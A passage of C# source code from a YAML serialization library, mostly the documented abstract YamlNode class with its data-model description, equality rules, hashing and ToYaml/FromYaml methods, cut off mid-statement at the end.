(SolidBrush)serializer.Deserialize(yaml)[0];\n        /// \n        /// Assert.AreEqual(b.Color, Color.Red);\n        /// </code>\n        /// </example>\n        public void AddActivator<T>(Func<object> activator)\n            where T: class\n        {\n            Activator.Add<T>(activator);\n        }\n        internal System.Yaml.Serialization.ObjectActivator Activator = \n            new System.Yaml.Serialization.ObjectActivator();\n\n        /// <summary>\n        /// Gets or sets CultureInfo with which the .NET native values are converted\n        /// to / from string. Currently, this is not to be changed from CultureInfo.InvariantCulture.\n        /// </summary>\n        internal CultureInfo Culture {\n            get { return TypeConverter.Culture; }\n            set { TypeConverter.Culture = value; }\n        }\n        internal System.Yaml.Serialization.EasyTypeConverter TypeConverter =\n            new System.Yaml.Serialization.EasyTypeConverter();\n    }\n\n    /// <summary>\n    /// <para>Abstract base class of YAML data nodes.</para>\n    /// \n    /// <para>See <see cref=\"YamlScalar\"/>, <see cref=\"YamlSequence\"/> and <see cref=\"YamlMapping\"/> \n    /// for actual data classes.</para>\n    /// </summary>\n    /// <remarks>\n    /// <h3>YAML data model</h3>\n    /// <para>See <a href=\"http://yaml.org/\">http://yaml.org/</a> for the official definition of \n    /// Information Models of YAML.</para>\n    /// \n    /// <para>YAML data structure is defined as follows. \n    /// Note that this does not represents the text syntax of YAML text \n    /// but does logical data structure.</para>\n    /// \n    /// <para>\n    /// yaml-stream     ::= yaml-document*<br/>\n    /// yaml-document   ::= yaml-directive* yaml-node<br/>\n    /// yaml-directive  ::= YAML-directive | TAG-directive | user-defined-directive<br/>\n    /// yaml-node       ::= yaml-scalar | yaml-sequence | yaml-mapping<br/>\n    /// yaml-scalar     ::= yaml-tag yaml-value<br/>\n    /// yaml-sequence   ::= yaml-tag yaml-node*<br/>\n    /// yaml-mapping    ::= yaml-tag ( yaml-node yaml-node )*<br/>\n    /// yaml-tag        ::= yaml-global-tag yaml-local-tag<br/>\n    /// yaml-global-tag ::= \"tag:\" taggingEntity \":\" specific [ \"#\" fragment ]<br/>\n    /// yaml-local-tag  ::= \"!\" yaml-local-tag-name<br/>\n    /// </para>\n    /// \n    /// <para>Namely,</para>\n    /// \n    /// <para>\n    /// A YAML stream consists of zero or more YAML documents.<br/>\n    /// A YAML documents have zero or more YAML directives and a root YAML node.<br/>\n    /// A YAML directive is either YAML-directive, TAG-directive or user-defined-directive.<br/>\n    /// A YAML node is either YAML scalar, YAML sequence or YAML mapping.<br/>\n    /// A YAML scalar consists of a YAML tag and a scalar value.<br/>\n    /// A YAML sequence consists of a YAML tag and zero or more child YAML nodes.<br/>\n    /// A YAML mapping cosists of a YAML tag and zero or more key/value pairs of YAML nodes.<br/>\n    /// A YAML tag is either a YAML global tag or a YAML local tag.<br/>\n    /// A YAML global tag starts with \"tag:\" and described in the \"tag:\" URI scheme defined in RFC4151.<br/>\n    /// A YAML local tag starts with \"!\" with a YAML local tag name<br/>\n    /// </para>\n    /// \n    /// <code>\n    /// // Construct YAML node tree\n    /// YamlNode node = \n    ///     new YamlSequence(                           // !!seq node\n    ///         new YamlScalar(\"abc\"),                  // !!str node\n    ///         new YamlScalar(\"!!int\", \"123\"),         // !!int node\n    ///         new YamlScalar(\"!!float\", \"1.23\"),      // !!float node\n    ///         new YamlSequence(                       // nesting !!seq node\n    ///             new YamlScalar(\"def\"),\n    ///             new YamlScalar(\"ghi\")\n    ///         ),\n    ///         new YamlMapping(                        // !!map node\n    ///             new YamlScalar(\"key1\"), new YamlScalar(\"value1\"),\n    ///             new YamlScalar(\"key2\"), new YamlScalar(\"value2\"),\n    ///             new YamlScalar(\"key3\"), new YamlMapping(    // nesting !!map node\n    ///                 new YamlScalar(\"value3key1\"), new YamlScalar(\"value3value1\")\n    ///             ),\n    ///             new YamlScalar(\"key4\"), new YamlScalar(\"value4\")\n    ///         )\n    ///     );\n    ///     \n    /// // Convert it to YAML stream\n    /// string yaml = node.ToYaml();\n    /// \n    /// // %YAML 1.2\n    /// // ---\n    /// // - abc\n    /// // - 123\n    /// // - 1.23\n    /// // - - def\n    /// //   - ghi\n    /// // - key1: value1\n    /// //   key2: value2\n    /// //   key3:\n    /// //     value3key1: value3value1\n    /// //   key4: value4\n    /// // ...\n    /// \n    /// // Load the YAML node from the YAML stream.\n    /// // Note that a YAML stream can contain several YAML documents each of which\n    /// // contains a root YAML node.\n    /// YamlNode[] nodes = YamlNode.FromYaml(yaml);\n    /// \n    /// // The only one node in the stream is the one we have presented above.\n    /// Assert.AreEqual(1, nodes.Length);\n    /// YamlNode resotred = nodes[0];\n    /// \n    /// // Check if they are equal to each other.\n    /// Assert.AreEquel(node, restored);\n    /// \n    /// // Extract sub nodes.\n    /// var seq = (YamlSequence)restored;\n    /// var map = (YamlMapping)seq[4];\n    /// var map2 = (YamlMapping)map[new YamlScalar(\"key3\")];\n    /// \n    /// // Modify the restored node tree\n    /// map2[new YamlScalar(\"value3key1\")] = new YamlScalar(\"value3value1 modified\");\n    /// \n    /// // Now they are not equal to each other.\n    /// Assert.AreNotEquel(node, restored);\n    /// </code>\n    /// \n    /// <h3>YamlNode class</h3>\n    /// \n    /// <para><see cref=\"YamlNode\"/> is an abstract class that represents a YAML node.</para>\n    /// \n    /// <para>In reality, a <see cref=\"YamlNode\"/> is either <see cref=\"YamlScalar\"/>, <see cref=\"YamlSequence\"/> or \n    /// <see cref=\"YamlMapping\"/>.</para>\n    /// \n    /// <para>All <see cref=\"YamlNode\"/> has <see cref=\"YamlNode.Tag\"/> property that denotes\n    /// the actual data type represented in the YAML node.</para>\n    /// \n    /// <para>Default Tag value for <see cref=\"YamlScalar\"/>, <see cref=\"YamlSequence\"/> or <see cref=\"YamlMapping\"/> are\n    /// <c>\"tag:yaml.org,2002:str\"</c>, <c>\"tag:yaml.org,2002:seq\"</c>, <c>\"tag:yaml.org,2002:map\"</c>.</para>\n    /// \n    /// <para>Global tags that starts with <c>\"tag:yaml.org,2002:\"</c> ( = <see cref=\"YamlNode.DefaultTagPrefix\">\n    /// YamlNode.DefaultTagPrefix</see>) are defined in the YAML tag repository at \n    /// <a href=\"http://yaml.org/type/\">http://yaml.org/type/</a>. In this library, such a tags can be also \n    /// represented in a short form that starts with <c>\"!!\"</c>, like <c>\"!!str\"</c>, <c>\"!!seq\"</c> and <c>\"!!map\"</c>. \n    /// Tags in the formal style and the shorthand form can be converted to each other by the static methods of \n    /// <see cref=\"YamlNode.ExpandTag\"/> and <see cref=\"YamlNode.ShorthandTag(string)\"/>. \n    /// In addition to these three basic tags, this library uses <c>\"!!null\"</c>, <c>\"!!bool\"</c>, <c>\"!!int\"</c>, \n    /// <c>\"!!float\"</c> and <c>\"!!timestamp\"</c> tags, by default.</para>\n    /// \n    /// <para><see cref=\"YamlNode\"/>s can be read from a YAML stream with <see cref=\"YamlNode.FromYaml(string)\"/>,\n    /// <see cref=\"YamlNode.FromYaml(Stream)\"/>, <see cref=\"YamlNode.FromYaml(TextReader)\"/> and\n    /// <see cref=\"YamlNode.FromYamlFile(string)\"/> static methods. Since a YAML stream generally consist of multiple\n    /// YAML documents, each of which has a root YAML node, these methods return an array of <see cref=\"YamlNode\"/>\n    /// that is contained in the stream.</para>\n    /// \n    /// <para><see cref=\"YamlNode\"/>s can be written to a YAML stream with <see cref=\"YamlNode.ToYaml()\"/>,\n    /// <see cref=\"YamlNode.ToYaml(Stream)\"/>, <see cref=\"YamlNode.ToYaml(TextWriter)\"/> and\n    /// <see cref=\"YamlNode.ToYamlFile(string)\"/>.</para>\n    /// \n    /// <para>The way of serialization can be configured in some aspects. The custom settings are specified\n    /// by an instance of <see cref=\"YamlConfig\"/> class. The serialization methods introduced above has\n    /// overloaded styles that accepts <see cref=\"YamlConfig\"/> instance to customize serialization.\n    /// It is also possible to change the default serialization method by modifying <see cref=\"YamlNode.DefaultConfig\">\n    /// YamlNode.DefaultConfig</see> static property.</para>\n    /// \n    /// <para>A <see cref=\"YamlScalar\"/> has <see cref=\"YamlScalar.Value\"/> property, which holds the string expression\n    /// of the node value.</para>\n    /// \n    /// <para>A <see cref=\"YamlSequence\"/> implements <see cref=\"IList&lt;YamlNode&gt;\">IList&lt;YamlNode&gt;</see> \n    /// interface to access the child nodes.</para>\n    /// \n    /// <para><see cref=\"YamlMapping\"/> implements \n    /// <see cref=\"IDictionary&lt;YamlNode,YamlNode&gt;\">IDictionary&lt;YamlNode,YamlNode&gt;</see> interface\n    /// to access the key/value pairs under the node.</para>\n    /// \n    /// <h3>Implicit conversion from C# native object to YamlScalar</h3>\n    /// \n    /// <para>Implicit cast operators from <see cref=\"string\"/>, <see cref=\"bool\"/>, <see cref=\"int\"/>, \n    /// <see cref=\"double\"/> and <see cref=\"DateTime\"/> to <see cref=\"YamlNode\"/> is defined. Thus, anytime \n    /// <see cref=\"YamlNode\"/> is required in C# source, naked scalar value can be written. Namely,\n    /// methods of <see cref=\"YamlSequence\"/> and <see cref=\"YamlMapping\"/> accept such C# native types \n    /// as arguments in addition to <see cref=\"YamlNode\"/> types. </para>\n    /// \n    /// <code>\n    /// var map = new YamlMapping();\n    /// map[\"Time\"] = DateTime.Now;                 // implicitly converted to YamlScalar\n    /// Assert.IsTrue(map.ContainsKey(new YamlScalar(\"Time\")));\n    /// Assert.IsTrue(map.ContainsKey(\"Time\"));     // implicitly converted to YamlScalar\n    /// </code>\n    /// \n    /// <h3>Equality of YamlNodes</h3>\n    /// \n    /// <para>Equality of <see cref=\"YamlNode\"/>s are evaluated on the content base. Different <see cref=\"YamlNode\"/> \n    /// objects that have the same content are evaluated to be equal. Use <see cref=\"Equals(object)\"/> method for \n    /// equality evaluation.</para>\n    /// \n    /// <para>In detail, two <see cref=\"YamlNode\"/>s are logically equal to each other when the <see cref=\"YamlNode\"/> \n    /// and its child nodes have the same contents (<see cref=\"YamlNode.Tag\"/> and <see cref=\"YamlScalar.Value\"/>) \n    /// and their node graph topology is exactly same.\n    /// </para>\n    /// \n    /// <code>\n    /// YamlNode a1 = \"a\";  // implicit conversion\n    /// YamlNode a2 = \"a\";  // implicit conversion\n    /// YamlNode a3 = new YamlNode(\"!char\", \"a\");\n    /// YamlNode b  = \"b\";  // implicit conversion\n    /// \n    /// Assert.IsTrue(a1 != a2);        // different objects\n    /// Assert.IsTrue(a1.Equals(a2));   // different objects having same content\n    /// \n    /// Assert.IsFalse(a1.Equals(a3));  // Tag is different\n    /// Assert.IsFalse(a1.Equals(b));   // Value is different\n    /// \n    /// var s1 = new YamlMapping(a1, new YamlSequence(a1, a2));\n    /// var s2 = new YamlMapping(a1, new YamlSequence(a2, a1));\n    /// var s3 = new YamlMapping(a2, new YamlSequence(a1, a2));\n    /// \n    /// Assert.IsFalse(s1.Equals(s2)); // node graph topology is different\n    /// Assert.IsFalse(s1.Equals(s3)); // node graph topology is different\n    /// Assert.IsTrue(s2.Equals(s3));  // different objects having same content and node graph topology\n    /// </code>\n    /// \n    /// </remarks>\n    /// <example>\n    /// Example 2.27 in YAML 1.2 specification\n    /// \n    /// <code>\n    /// // %YAML 1.2\n    /// // --- \n    /// // !&lt;tag:clarkevans.com,2002:invoice&gt;\n    /// // invoice: 34843\n    /// // date   : 2001-01-23\n    /// // bill-to: &amp;id001\n    /// //     given  : Chris\n    /// //     family : Dumars\n    /// //     address:\n    /// //         lines: |\n    /// //             458 Walkman Dr.\n    /// //             Suite #292\n    /// //         city    : Royal Oak\n    /// //         state   : MI\n    /// //         postal  : 48046\n    /// // ship-to: *id001\n    /// // product:\n    /// //     - sku         : BL394D\n    /// //       quantity    : 4\n    /// //       description : Basketball\n    /// //       price       : 450.00\n    /// //     - sku         : BL4438H\n    /// //       quantity    : 1\n    /// //       description : Super Hoop\n    /// //       price       : 2392.00\n    /// // tax  : 251.42\n    /// // total: 4443.52\n    /// // comments:\n    /// //     Late afternoon is best.\n    /// //     Backup contact is Nancy\n    /// //     Billsmer @ 338-4338.\n    /// // ...\n    /// \n    /// var invoice = new YamlMapping(\n    ///     \"invoice\", 34843,\n    ///     \"date\", new DateTime(2001, 01, 23),\n    ///     \"bill-to\", new YamlMapping(\n    ///         \"given\", \"Chris\",\n    ///         \"family\", \"Dumars\",\n    ///         \"address\", new YamlMapping(\n    ///             \"lines\", \"458 Walkman Dr.\\nSuite #292\\n\",\n    ///             \"city\", \"Royal Oak\",\n    ///             \"state\", \"MI\",\n    ///             \"postal\", 48046\n    ///             )\n    ///         ),\n    ///     \"product\", new YamlSequence(\n    ///         new YamlMapping(\n    ///             \"sku\",         \"BL394D\",\n    ///             \"quantity\",    4,\n    ///             \"description\", \"Basketball\",\n    ///             \"price\",       450.00\n    ///             ),\n    ///         new YamlMapping(\n    ///             \"sku\",         \"BL4438H\",\n    ///             \"quantity\",    1,\n    ///             \"description\", \"Super Hoop\",\n    ///             \"price\",       2392.00\n    ///             )\n    ///         ),\n    ///     \"tax\", 251.42,\n    ///     \"total\", 4443.52,\n    ///     \"comments\", \"Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.\"\n    ///     );\n    /// invoice[\"ship-to\"] = invoice[\"bill-to\"];\n    /// invoice.Tag = \"tag:clarkevans.com,2002:invoice\";\n    /// \n    /// invoice.ToYamlFile(\"invoice.yaml\");\n    /// // %YAML 1.2\n    /// // ---\n    /// // !&lt;tag:clarkevans.com,2002:invoice&gt;\n    /// // invoice: 34843\n    /// // date: 2001-01-23\n    /// // bill-to: &amp;A \n    /// //   given: Chris\n    /// //   family: Dumars\n    /// //   address: \n    /// //     lines: \"458 Walkman Dr.\\n\\\n    /// //       Suite #292\\n\"\n    /// //     city: Royal Oak\n    /// //     state: MI\n    /// //     postal: 48046\n    /// // product: \n    /// //   - sku: BL394D\n    /// //     quantity: 4\n    /// //     description: Basketball\n    /// //     price: !!float 450\n    /// //   - sku: BL4438H\n    /// //     quantity: 1\n    /// //     description: Super Hoop\n    /// //     price: !!float 2392\n    /// // tax: 251.42\n    /// // total: 4443.52\n    /// // comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.\n    /// // ship-to: *A\n    /// // ...\n    /// \n    /// </code>\n    /// </example>\n    public abstract class YamlNode: IRehashableKey\n    {\n        #region Non content values\n        /// <summary>\n        /// Position in a YAML document, where the node appears. \n        /// Both <see cref=\"ToYaml()\"/> and <see cref=\"FromYaml(string)\"/> sets this property.\n        /// When the node appeared multiple times in the document, this property returns the position\n        /// where it appeared for the first time.\n        /// </summary>\n        [DefaultValue(0)]\n        public int Raw { get; set; }\n\n        /// <summary>\n        /// Position in a YAML document, where the node appears. \n        /// Both <see cref=\"ToYaml()\"/> and <see cref=\"FromYaml(string)\"/> sets this property.\n        /// When the node appeared multiple times in the document, this property returns the position\n        /// where it appeared for the first time.\n        /// </summary>\n        [DefaultValue(0)]\n        public int Column { get; set; }\n\n        /// <summary>\n        /// Temporary data, transfering information between YamlRepresenter and YamlPresenter.\n        /// </summary>\n        internal Dictionary<string, string> Properties { get; private set; }\n\n        /// <summary>\n        /// Initialize a node.\n        /// </summary>\n        public YamlNode()\n        {\n            Properties = new Dictionary<string, string>();\n        }\n        #endregion\n\n        /// <summary>\n        /// YAML Tag for this node, which represents the type of node's value.\n        /// </summary>\n        /// <remarks>\n        /// <para>\n        /// YAML standard types has tags in a form of \"tag:yaml.org,2002:???\". Well known tags are\n        /// tag:yaml.org,2002:null, tag:yaml.org,2002:bool, tag:yaml.org,2002:int, tag:yaml.org,2002:str,\n        /// tag:yaml.org,2002:map, tag:yaml.org,2002:seq, tag:yaml.org,2002:float and tag:yaml.org,2002:timestamp.\n        /// </para>\n        /// </remarks>\n        public string Tag\n        { \n            get { return tag; }\n            set {\n                /* strict tag check\n                if ( value.StartsWith(\"!!\") )\n                    throw new ArgumentException(\n                        \"Tag vallue {0} must be resolved to a local or global tag before assignment\".DoFormat(value));\n                if ( !value.StartsWith(\"!\") && !DefaultTagValidator.IsValid(value) )\n                    throw new ArgumentException(\n                        \"{0} is not a valid global tag.\".DoFormat(value));\n                */\n                tag = value;\n                OnChanged();\n            }\n        }\n        string tag;\n//        static YamlTagValidator TagValidator = new YamlTagValidator();\n        /// <summary>\n        /// YAML Tag for this node, which represents the type of node's value.\n        /// The <see cref=\"Tag\"/> property is returned in a shorthand style.\n        /// </summary>\n        public string ShorthandTag()\n        {\n            return ShorthandTag(Tag);\n        }\n\n        #region Hash code\n        /// <summary>\n        /// Serves as a hash function for a particular type. \n        /// Hash code is calculated using Tag and Value properties.\n        /// </summary>\n        /// <returns>Hash code</returns>\n        public override int GetHashCode()\n        {\n            // caches hash code\n            if ( HashInvalid ) {\n                HashCode = GetHashCodeCore();\n                HashInvalid = false;\n            }\n            return HashCode;\n        }\n        int HashCode;\n        bool HashInvalid = true;\n        bool ToBeRehash = false;\n        /// <summary>\n        /// Return the hash code. \n        /// The returned value will be cached until <see cref=\"OnChanged\"/> is called.\n        /// </summary>\n        /// <returns>Hash code</returns>\n        protected abstract int GetHashCodeCore();\n        /// <summary>\n        /// Call this function when the content of the node is changed.\n        /// </summary>\n        protected virtual void OnChanged()\n        {\n            // avoiding inifinite loop\n            if ( !ToBeRehash ) {\n                try {\n                    HashInvalid = true;\n                    ToBeRehash = true;\n                    if ( Changed != null )\n                        Changed(this, EventArgs.Empty);\n                } finally {\n                    ToBeRehash = false;\n                }\n            }\n        }\n        /// <summary>\n        /// Invoked when the node's content or its childrens' content was changed.\n        /// </summary>\n        public event EventHandler Changed;\n        #endregion\n\n        /// <summary>\n        /// Returns true if <paramref name=\"obj\"/> is of same type as the <see cref=\"YamlNode\"/> and\n        /// its content is also logically same.\n        /// </summary>\n        /// <remarks>\n        /// Two <see cref=\"YamlNode\"/>'s are logically equal when the <see cref=\"YamlNode\"/> and its child nodes\n        /// have the same contents (<see cref=\"YamlNode.Tag\"/> and <see cref=\"YamlScalar.Value\"/>) \n        /// and their node graph topology is exactly same as the other.\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// var a1 = new YamlNode(\"a\");\n        /// var a2 = new YamlNode(\"a\");\n        /// var a3 = new YamlNode(\"!char\", \"a\");\n        /// var b  = new YamlNode(\"b\");\n        /// \n        /// Assert.IsTrue(a1 != a2);        // different objects\n        /// Assert.IsTrue(a1.Equals(a2));   // different objects having same content\n        /// \n        /// Assert.IsFalse(a1.Equals(a3));  // Tag is different\n        /// Assert.IsFalse(a1.Equals(b));   // Value is different\n        /// \n        /// var s1 = new YamlMapping(a1, new YamlSequence(a1, a2));\n        /// var s2 = new YamlMapping(a1, new YamlSequence(a2, a1));\n        /// var s3 = new YamlMapping(a2, new YamlSequence(a1, a2));\n        /// \n        /// Assert.IsFalse(s1.Equals(s2)); // node graph topology is different\n        /// Assert.IsFalse(s1.Equals(s3)); // node graph topology is different\n        /// Assert.IsTrue(s2.Equals(s3));  // different objects having same content and node graph topology\n        /// </code>\n        /// </example>\n        /// <param name=\"obj\">Object to be compared.</param>\n        /// <returns>True if the <see cref=\"YamlNode\"/> logically equals to the <paramref name=\"obj\"/>; otherwise false.</returns>\n        public override bool Equals(object obj)\n        {\n            if ( obj == null || !( obj is YamlNode ) )\n                return false;\n            var repository = new ObjectRepository();\n            return Equals((YamlNode)obj, repository);\n        }\n\n        /// <summary>\n        /// Called when the node is loaded from a document.\n        /// </summary>\n        internal virtual void OnLoaded()\n        {\n        }\n\n        /// <summary>\n        /// Remember the order of appearance of nodes. It also has ability of rewinding.\n        /// </summary>\n        internal class ObjectRepository\n        {\n            Dictionary<YamlNode, int> nodes_a = \n                new Dictionary<YamlNode, int>(TypeUtils.EqualityComparerByRef<YamlNode>.Default);\n            Dictionary<YamlNode, int> nodes_b = \n                new Dictionary<YamlNode, int>(TypeUtils.EqualityComparerByRef<YamlNode>.Default);\n            Stack<YamlNode> stack_a = new Stack<YamlNode>();\n            Stack<YamlNode> stack_b = new Stack<YamlNode>();\n\n            public class Status\n            {\n                public int count { get; private set; }\n                public Status(int c)\n                {\n                    count= c;\n                }\n            }\n\n            public bool AlreadyAppeared(YamlNode a, YamlNode b, out bool identity)\n            {\n                int ai, bi;\n                bool ar = nodes_a.TryGetValue(a, out ai);\n                bool br = nodes_b.TryGetValue(b, out bi);\n                if ( ar && br && ai == bi ) {\n                    identity = true;\n                    return true;\n                }\n                if ( ar ^ br ) {\n                    identity = false;\n                    return true;\n                }\n                nodes_a.Add(a, nodes_a.Count);\n                nodes_b.Add(b, nodes_b.Count);\n                stack_a.Push(a);\n                stack_b.Push(b);\n                if ( a == b ) {\n                    identity = true;\n                    return true;\n                }\n                identity = false;\n                return false;\n            }\n\n            public Status CurrentStatus\n            {\n                get { return new Status(stack_a.Count); }\n                set\n                {\n                    var count = value.count;\n                    while ( stack_a.Count > count ) {\n                        var a = stack_a.Pop();\n                        nodes_a.Remove(a);\n                        var b = stack_b.Pop();\n                        nodes_b.Remove(b);\n                    }\n                }\n            }\n        }\n\n        /// <summary>\n        /// Returns true if <paramref name=\"b\"/> is of same type as the <see cref=\"YamlNode\"/> and\n        /// its content is also logically same.\n        /// </summary>\n        /// <param name=\"b\">Node to be compared.</param>\n        /// <param name=\"repository\">Node repository holds the nodes that already appeared and \n        /// the corresponding node in the other node tree.</param>\n        /// <returns>true if they are equal to each other.</returns>\n        internal abstract bool Equals(YamlNode b, ObjectRepository repository);\n        /// <summary>\n        /// Returns true if <paramref name=\"b\"/> is of same type as the <see cref=\"YamlNode\"/> and\n        /// its Tag is same as the node. It returns true for <paramref name=\"skip\"/> if they\n        /// both already appeared in the node trees and were compared.\n        /// </summary>\n        /// <param name=\"b\">Node to be compared.</param>\n        /// <param name=\"repository\">Node repository holds the nodes that already appeared and \n        /// the corresponding node in the other node tree.</param>\n        /// <param name=\"skip\">true if they already appeared in the node tree and were compared.</param>\n        /// <returns>true if they are equal to each other.</returns>\n        internal bool EqualsSub(YamlNode b, ObjectRepository repository, out bool skip)\n        {\n            YamlNode a = this;\n            bool identity;\n            if ( repository.AlreadyAppeared(a, b, out identity) ) {\n                skip = true;\n                return identity;\n            }\n            skip = false;\n            if ( a.GetType() != b.GetType() || a.Tag != b.Tag )\n                return false;\n            return true;\n        }\n\n        /// <summary>\n        /// Returns a <see cref=\"String\"/> that represents the current <see cref=\"Object\"/>.\n        /// </summary>\n        /// <returns>A <see cref=\"String\"/> that represents the current <see cref=\"Object\"/></returns>\n        public override string ToString()\n        {\n            var length = 1024;\n            return ToString(ref length);\n        }\n        internal abstract string ToString(ref int length);\n\n        #region ToYaml\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text.\n        /// </summary>\n        /// <returns>YAML stream.</returns>\n        public string ToYaml()\n        {\n            return ToYaml(DefaultConfig);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text.\n        /// </summary>\n        /// <returns>YAML stream.</returns>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public string ToYaml(YamlConfig config)\n        {\n            return DefaultPresenter.ToYaml(this, config);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to <see cref=\"Stream\"/> <paramref name=\"s\"/>.\n        /// </summary>\n        /// <param name=\"s\"><see cref=\"Stream\"/> to output.</param>\n        public void ToYaml(Stream s)\n        {\n            ToYaml(s, DefaultConfig);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to <see cref=\"Stream\"/> <paramref name=\"s\"/>.\n        /// </summary>\n        /// <param name=\"s\"><see cref=\"Stream\"/> to output.</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public void ToYaml(Stream s, YamlConfig config)\n        {\n            DefaultPresenter.ToYaml(s, this, config);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to <see cref=\"TextWriter\"/> <paramref name=\"tw\"/>.\n        /// </summary>\n        /// <param name=\"tw\"><see cref=\"TextWriter\"/> to output.</param>\n        public void ToYaml(TextWriter tw)\n        {\n            ToYaml(tw, DefaultConfig);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to <see cref=\"TextWriter\"/> <paramref name=\"tw\"/>.\n        /// </summary>\n        /// <param name=\"tw\"><see cref=\"TextWriter\"/> to output.</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public void ToYaml(TextWriter tw, YamlConfig config)\n        {\n            DefaultPresenter.ToYaml(tw, this, config);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to the file.\n        /// </summary>\n        /// <param name=\"FileName\">Name of the file to output</param>\n        public void ToYamlFile(string FileName)\n        {\n            ToYamlFile(FileName, DefaultConfig);\n        }\n        /// <summary>\n        /// Convert <see cref=\"YamlNode\"/> to a YAML text and save it to the file.\n        /// </summary>\n        /// <param name=\"FileName\">Name of the file to output</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public void ToYamlFile(string FileName, YamlConfig config)\n        {\n            using ( var s = new FileStream(FileName, FileMode.Create) )\n                DefaultPresenter.ToYaml(s, this, config);\n        }\n        #endregion\n\n        #region static members\n\n        /// <summary>\n        /// Gets YAML's default tag prefix.\n        /// </summary>\n        /// <value>\"tag:yaml.org,2002:\"</value>\n        public static string DefaultTagPrefix { get; private set; }\n        /// <summary>\n        /// Gets or sets the default configuration to customize serialization of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        public static YamlConfig DefaultConfig { get; set; }\n        internal static YamlParser DefaultParser { get; set; }\n        internal static YamlPresenter DefaultPresenter { get; set; }\n\n        static YamlNode()\n        {\n            // Initializing order matters !\n            DefaultTagPrefix = \"tag:yaml.org,2002:\";\n            DefaultConfig = new YamlConfig();\n            DefaultParser = new YamlParser();\n            DefaultPresenter = new YamlPresenter();\n        }\n\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"yaml\">YAML text</param>\n        /// <returns>YAML nodes</returns>\n        public static YamlNode[] FromYaml(string yaml)\n        {\n            return DefaultParser.Parse(yaml).ToArray();\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"yaml\">YAML text</param>\n        /// <returns>YAML nodes</returns>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public static YamlNode[] FromYaml(string yaml, YamlConfig config)\n        {\n            return DefaultParser.Parse(yaml, config).ToArray();\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"s\"><see cref=\"Stream\"/> from which YAML document is read.</param>\n        /// <returns>YAML nodes</returns>\n        public static YamlNode[] FromYaml(Stream s)\n        {\n            using ( var sr = new StreamReader(s) )\n                return FromYaml(sr);\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"s\"><see cref=\"Stream\"/> from which YAML document is read.</param>\n        /// <returns>YAML nodes</returns>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public static YamlNode[] FromYaml(Stream s, YamlConfig config)\n        {\n            using ( var sr = new StreamReader(s) )\n                return FromYaml(sr, config);\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"tr\"><see cref=\"TextReader\"/> from which YAML document is read.</param>\n        /// <returns>YAML nodes</returns>\n        public static YamlNode[] FromYaml(TextReader tr)\n        {\n            var yaml = tr.ReadToEnd();\n            return FromYaml(yaml);\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"tr\"><see cref=\"TextReader\"/> from which YAML document is read.</param>\n        /// <returns>YAML nodes</returns>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public static YamlNode[] FromYaml(TextReader tr, YamlConfig config)\n        {\n            var yaml = tr.ReadToEnd();\n            return FromYaml(yaml, config);\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"FileName\">YAML File Name</param>\n        /// <returns>YAML nodes</returns>\n        public static YamlNode[] FromYamlFile(string FileName)\n        {\n            using ( var s = new FileStream(FileName, FileMode.Open) )\n                return FromYaml(s);\n        }\n        /// <summary>\n        /// Convert YAML text <paramref name=\"yaml\"/> to a list of <see cref=\"YamlNode\"/>.\n        /// </summary>\n        /// <param name=\"FileName\">YAML File Name</param>\n        /// <returns>YAML nodes</returns>\n        /// <param name=\"config\"><see cref=\"YamlConfig\">YAML configuration</see> to customize serialization.</param>\n        public static YamlNode[] FromYamlFile(string FileName, YamlConfig config)\n        {\n            using ( var s = new FileStream(FileName, FileMode.Open) )\n                return FromYaml(s, config);\n        }\n\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlNode(string value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlNode(int value)\n        {\n            return new YamlScalar(\"!!int\", 